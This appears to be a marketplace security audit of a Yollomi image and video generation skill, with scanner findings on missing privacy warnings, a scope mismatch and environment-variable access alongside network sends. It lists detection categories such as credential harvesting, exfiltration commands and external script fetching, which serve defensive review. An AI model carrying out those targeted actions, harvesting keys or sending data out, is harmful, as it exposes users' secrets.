ClawHub
Back to skill

Security audit

Yollomi AI Image & Video Generator

Security checks across malware telemetry and agentic risk

Overview

This is a straightforward Yollomi image and video generation API wrapper with expected API-key and outbound network use.

Install only if you are comfortable sending prompts, image URLs, and image or video inputs to Yollomi or the configured YOLLOMI_BASE_URL. Keep YOLLOMI_API_KEY private, avoid untrusted base URL overrides, and check model costs before large or video requests.

SkillSpector

By NVIDIA
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (3)

Tp4

High
Category
MCP Tool Poisoning
Confidence
76% confidence
Finding
The skill is described as an AI image generator, but the document also enables video generation and model enumeration. That mismatch can mislead users and reviewers about what the skill actually does, causing them to grant trust or provide prompts and media under incomplete assumptions; while not overtly malicious here, hidden or under-described behavior increases security and privacy risk.

Missing User Warnings

Medium
Confidence
78% confidence
Finding
The README instructs users to configure an API key and send generation requests to an external API endpoint, but provides no warning about credential handling, outbound network use, or what prompt/image data may be transmitted off-platform. In an agent skill context, this omission can cause users to unknowingly expose sensitive prompts, images, or credentials to a third-party service.

Missing User Warnings

Medium
Confidence
92% confidence
Finding
The skill instructs users to send prompts and source image URLs to a third-party API but does not prominently warn that this data leaves the local environment. Prompts, image URLs, and potentially sensitive media references may contain confidential information, so lack of disclosure can lead to unintentional privacy leakage to the external service.

VirusTotal

39/39 vendors flagged this skill as clean.

View on VirusTotal

Static analysis

Detected: suspicious.env_credential_access

Environment variable access combined with network send.

Critical
Code
suspicious.env_credential_access
Location
index.ts:19